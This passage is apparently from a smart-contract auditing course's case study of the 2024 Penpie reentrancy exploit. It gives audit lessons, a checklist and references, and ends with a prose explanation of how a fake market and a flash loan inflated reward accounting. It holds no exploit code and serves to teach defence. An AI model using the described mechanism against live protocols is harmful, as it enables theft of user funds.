Reflex to internalize: for every external call in a privileged function, write down (literally, on paper or in the audit notes) “who can control the target of this call?” If the answer is “any user,” that function needs nonReentrant and a defense-in-depth review of every read it does from address(this) after the call.
7.2 nonReentrant is per-modifier, not per-contract
OpenZeppelin’s ReentrancyGuard._status is one storage slot. Re-entries are blocked only into functions that use the modifier. The guard does nothing to protect:
- A function that doesn’t use the modifier from being re-entered.
- A function that doesn’t use the modifier from re-entering a function that does (because the guard’s slot is
_NOT_ENTEREDfrom the outer function’s perspective).
The Penpie bug is the second shape — an unprotected outer caller (batchHarvest) hosts a re-entry into a protected inner function (depositMarket). The lock looks fresh from inside.
Audit signal: when you see nonReentrant on some functions but not others that share state, flag it. Reentrancy guards should be applied either contract-wide (every state-mutating external function uses the modifier) or via a clearly-documented threat model that justifies which functions skip it. Half-coverage is worse than no coverage because it creates false confidence.
7.3 Balance-delta accounting is an anti-pattern in the presence of external calls
The pattern (balanceBefore, externalCall, balanceAfter, delta = after − before) is everywhere in DeFi — fee accounting, harvest accounting, vesting accounting. It is fundamentally safe only when:
externalCallcannot increase the balance through any non-reward path during its execution.- The contract’s balance cannot change for any other reason during the call window (no concurrent receives, no other functions being executed).
In a multi-function contract, point 2 alone requires either a contract-wide mutex or a careful reading-of-all-paths argument. In the presence of any user-controllable callback, point 1 fails by construction.
Reflex: every time you see a balanceBefore / balanceAfter / delta pattern, ask “what other paths can increase this balance?” — and don’t accept “none” without enumeration. Penpie’s depositMarket was an obvious path; in other protocols, it might be flashLoan, donate, or simply ERC-20 transfer from a malicious peer.
7.4 Delta-scoped audits hide whole-system bugs
The May 2024 AstraSec audit was not negligent — it audited what it was asked to audit. The institutional failure was the scoping decision, not the audit itself. As an auditor, when a client says “we changed X; please audit X,” your first move should be:
“What functions, contracts, and trust assumptions does X interact with that have not been re-audited under the new X?”
If the answer is non-empty, the scope is too narrow. Negotiate up, or accept the scope while clearly documenting in your report which adjacent systems were assumed safe and why that assumption may no longer hold. The Penpie post-mortems all eventually surfaced this scoping failure; an auditor who flags it preemptively gets credit twice.
7.5 Allowlist user-supplied data in privileged paths
When _market becomes user-supplied, the very first audit question is “what about this address does the protocol still need to trust, and where is that trust enforced?” In Penpie’s case the protocol trusted:
getRewardTokens()to return a meaningful list (not a list crafted to manipulate accounting).redeemRewards(self)to be a no-op or a real reward redemption (not a reentrancy vector).- The set of reward tokens to be valid ERC-20s that respond honestly to
balanceOf.
None of those trusts were enforced. The remediation pattern is an allowlist: enumerate the SYs (or factories) Penpie trusts, accept markets only when their SY is on the allowlist. Where allowlists feel too restrictive, an adapter pattern — Penpie talks to a small, audited adapter, the adapter talks to Pendle — preserves permissionless onboarding for new markets without giving each market direct callback access to Penpie’s privileged code path.
7.6 Two decades of reentrancy and we still ship it
A useful framing for the resume of the bug class:
| Year | Incident | Shape | What was missing |
|---|---|---|---|
| 2016 | The DAO | Single-function reentrancy; CEI violation | CEI, ReentrancyGuard didn’t exist yet |
| 2017 | Parity multisig | Uninitialized impl + delegatecall, not exactly reentrancy but same “control flow leaves the function” family | Initializer protection |
| 2020 | Lendf.Me, Uniswap V1 imBTC | ERC-777 callback in a lender | Treat callback-tokens as untrusted |
| 2021 | Cream / Iron Bank | Cross-contract reentrancy via ERC-777 callback | Same as 2020, applied to Compound fork |
| 2022 | Fei / Rari, plus several Curve-pattern issues | Cross-contract via callback during borrow / withdraw | Locks, allowlists |
| 2023 | Curve vyper reentrancy | Compiler-level reentrancy-lock bug in Vyper for ETH-paired pools | Compiler audits, version pinning |
| 2024 | Penpie / Pendle | Cross-contract reentrancy via attacker-registered market with attacker-controlled SY | nonReentrant on outer caller; allowlist; delta-accounting hardening |
Every entry in this table has the same physical mechanism: external call to attacker code in the middle of a state transition. The detail of which external call is attacker-controlled has shifted from “msg.sender’s fallback” (2016) to “ERC-777 hook” (2020–2021) to “Vyper compiler-emitted call” (2023) to “user-registered market’s SY redeemRewards” (2024). The defense has always been the same: CEI + contract-wide lock + don’t hand control to untrusted code during state transitions. We keep relearning this because each generation of integration patterns (token standards, factory patterns, market patterns) introduces new addresses-an-attacker-can-control without changing the defensive primitives.
The auditor’s job is, in part, to be the institutional memory the industry refuses to develop. Read this case again in 2027 when the next “we trusted the market address” exploit happens, and ask whether the lessons here would have caught it.
8. What You Would Have Caught
Imagine you receive Penpie’s PendleStakingBaseUpg for audit in May 2024 alongside the new PendleMarketRegisterHelper. Here is the realistic catch-list, ordered by signal strength:
8.1 Tier 1 — would catch on first pass (CRITICAL)
- Missing
nonReentrantonbatchHarvestMarketRewards. This is a state-mutating function that performs an external call to a user-controllable target (after the May 2024 change). It must have the modifier. Even without the rest of the analysis, this alone fails a competent audit. -
_marketis now user-supplied (post-May-2024) but no enforcement that_market’s SY is on a Penpie allowlist.IPendleMarket(_market).redeemRewards(address(this))is a delegated execution to attacker code. Flag as CRITICAL.
8.2 Tier 2 — would catch on careful read (HIGH)
-
getRewardTokens()is also user-controlled. The reward token addresses are read from the attacker’s market. An attacker can include addresses whosebalanceOfis itself a reentrancy vector (read-only reentrancy), or whosetransferhas side effects. -
amountAfter − amountBeforedelta pattern with no upper bound. The harvested delta is not validated against any plausibility bound derived from market TVL, time, or APY. Even with a reentrancy guard, an attacker who finds any mechanism to bump Penpie’s balance during the harvest will siphon all of it. -
depositMarketis reachable mid-harvest. Beyond reentrancy, this means user state changes are interleaved with harvest accounting — a recipe for inconsistency even in non-malicious cases. Recommend a “harvest in progress” flag that disablesdepositMarket/withdrawMarket.
8.3 Tier 3 — systemic concerns (MEDIUM)
- No pause mechanism on
batchHarvestMarketRewardsindependent of Pendle’s pause. Penpie relied on Pendle’s circuit breaker. In practice, Pendle’s pause is what saved them — but a protocol should not assume its underlying will halt for it. - No incident-response runbook tested. The 20-minute response is fast, but luck-driven; protocols of this size should run periodic war-game incidents.
- Audit scope decision. Flag in the audit report that
PendleStakingBaseUpgis not in scope despite the trust-boundary change in its inputs — and recommend the client expand scope. (If the client refuses, document that you flagged it.)
8.4 What you would not have caught easily
- The exact flash-loan composition (Balancer, wstETH/sUSDe/agETH/rswETH). Not relevant to the bug; flash-loan availability is ambient in DeFi and not a vulnerability per se.
- The specific economic sizing (how much could be drained before slippage). Calculable but not central to finding the bug.
The honest assessment: a competent auditor with the trust-boundary lens would catch Tier 1 in their first read of _harvestSingleMarket. The bug doesn’t require deep economic modeling or PoC writing to spot; it requires the discipline of asking “who can control this address?” at every external call. That discipline is what Week 05 in this course is built to instill.
9. Audit Checklist Items (add to master checklist)
- For every privileged function, list every external call. For each, write down “who controls the target address?” If the answer includes “any user” (now or in the future), the function must
nonReentrantor have a documented argument why not. - Reentrancy guards must be contract-wide or accompanied by a written threat model justifying each unprotected function. Half-coverage is a smell.
- Balance-delta accounting + external call = automatic flag. Enumerate every path that can change the balance during the call window.
- User-supplied addresses → privileged consumers: every transition from “admin-set” to “user-set” parameters must trigger re-audit of every consumer, regardless of whether the consumer code changed.
- Reward / fee tokens sourced from user-supplied contracts must be allowlisted or routed through a trusted adapter.
- Audit scope decisions: explicitly enumerate which adjacent contracts are out of scope and document the trust assumptions that justify exclusion. If those assumptions might change, the exclusion is invalid.
- Kill switch: every protocol with custody of >$1M user funds must have a documented, tested pause mechanism reachable in <30 minutes by a multi-party operator group.
- Plausibility invariants: every accounting step that depends on external state should have an upper bound that can be checked at runtime (e.g.,
harvestedYield <= TVL * maxAPY * timeElapsed / SECONDS_PER_YEAR + epsilon). - Test that pausing the underlying protocol pauses you, but do not rely on it. Penpie was saved by Pendle’s pause; that’s good luck, not good design.
10. References
10.1 Primary post-mortems
- Three Sigma — Penpie Hack: Auditing the $27M Reentrancy Exploit. Detailed technical walk-through including call traces and a clean reconstruction of the reward-delta inflation. https://threesigma.xyz/blog/exploit/penpie-reentrancy-exploit-analysis [verify]
- Halborn — Explained: The Penpie Hack (September 2024). Auditor-firm perspective; emphasizes the missing
nonReentrantand the audit-scoping failure. https://www.halborn.com/blog/post/explained-the-penpie-hack-september-2024 [verify] - QuillAudits — Decoding Penpie Protocol’s $27M Exploit. Includes attacker addresses, fake market address, transaction hash, post-laundering destination. https://www.quillaudits.com/blog/hack-analysis/penpie-protocol-exploit [verify]
- BlockApex — Penpie Hack Analysis. Concise technical summary with attack-flow diagram. https://blockapex.io/penpie-hack-analysis/ [verify]
- SlowMist — Incident Analysis: Penpie Attack. Includes the malicious SY callback path detail. https://medium.com/@slowmist/slowmist-incident-analysis-penpie-hack-e6157975898f [verify; some sources reachable only via mirror]
- rekt.news — Penpie. Narrative account with attacker EOA addresses and tx links. https://rekt.news/penpie-rekt [verify]
- AuditOne — The PenPie Hack: Understanding the September 2024 Reentrancy Exploit. Discusses the audit-scoping question and AstraSec’s role. https://www.auditone.io/blog-posts/the-penpie-hack-understanding-the-september-2024-reentrancy-exploit-and-the-role-of-auditing-in-defi-security [verify]
- Penpie official post-mortem. Team’s public account on their Medium/blog. https://blog.penpiexyz.io/penpie-post-mortem-report-1ac9863b663a [verify; reachable via redirect]
10.2 Background — Pendle and SY tokens
- Pendle Finance docs — Standardized Yield (SY) tokens, market architecture. https://docs.pendle.finance/ [verify]
- EIP-5115 — SY (Standardized Yield) Token Standard. https://eips.ethereum.org/EIPS/eip-5115 [verify]
- Pendle V2 whitepaper. [verify direct URL]
10.3 Cross-references within this vault
- Tuan-05-Vulnerability-Classes-Part-1 — §2.2 cross-contract reentrancy; §2.3 mitigations table.
- Tuan-04-Security-Foundations-CEI-AC — CEI doctrine and
ReentrancyGuardmechanics. - Tuan-07-Token-Standards-Integration-Risk — user-supplied token contracts as a trust-boundary class; allowlist patterns.
- Case-The-DAO-Reentrancy-2016 — the original incident; same physics, single-function instead of cross-contract.
- Case-Cream-Iron-Bank-2021 — closest analogue: cross-contract reentrancy via callback-bearing token (ERC-777 there, SY here).
10.4 Tools that would have surfaced the bug
- Slither —
reentrancy-eth,reentrancy-no-eth, andreentrancy-benigndetectors. Would flag the missing guard onbatchHarvestMarketRewardsgiven the external call. [verify against actual Slither output if you re-run the audit] - Foundry invariant testing — an invariant like
assert(masterPenpie.accruedReal(market) <= maxPlausibleYield(market))exercised against fuzz inputs that include attacker-deployed markets would catch the inflation. The trick is thinking to write the invariant; Slither catches the lower-hanging issue first. - Echidna — similar to Foundry invariant fuzzing; useful for the Tier-2 plausibility-bound check.
10.5 Verifier checklist for the [verify] tags in this document
When updating this case study, re-confirm against primary sources:
- Loss figures by token and chain.
- Attacker EOA and contract addresses.
- Fake market address.
- First exploit transaction hash and block number on each chain.
- Exact pause timing on Ethereum and Arbitrum.
- Bounty offered and Penpie’s negotiation messages.
- AstraSec audit scope (read the audit report if publicly available).
- Penpie’s published remediation scope.
11. The 60-Second Pitch (for explaining to a developer)
Penpie aggregated yield on top of Pendle. To distribute rewards, Penpie called
market.redeemRewards()on every Pendle market it tracked, snapshotted its balances before and after, and credited the delta as that market’s harvest.In May 2024 they shipped permissionless market registration. Anyone could point Penpie at any Pendle-registered market. So an attacker deployed their own malicious Pendle market with a custom SY token. When Penpie called
redeemRewards()on it, the SY token executed attacker code — and that code re-entered Penpie viadepositMarket(), depositing a Balancer flash loan into a real Pendle market.Penpie’s balance went up by the flash loan. When the harvest function finished, it saw “the fake market produced X tokens of yield” because its balance after the call was higher than before. It credited those tokens to the fake market’s stakers — of which the attacker was the only one. The attacker claimed the inflated rewards, repaid the flash loan, and pocketed $27M.
The fix is one word —
nonReentrantonbatchHarvestMarketRewards. The bug is that the function had no reentrancy guard despite making an external call to a user-controllable address. The audit firm that reviewed the new registration helper assumed the unchanged harvest function was safe — it had been safe when the input was admin-curated. The lesson: when an input becomes user-controlled, every function downstream of it must be re-audited.
Last updated: 2026-05-16 See also: Roadmap · References · Tuan-05-Vulnerability-Classes-Part-1 · Case-The-DAO-Reentrancy-2016 · Case-Cream-Iron-Bank-2021 · Tuan-07-Token-Standards-Integration-Risk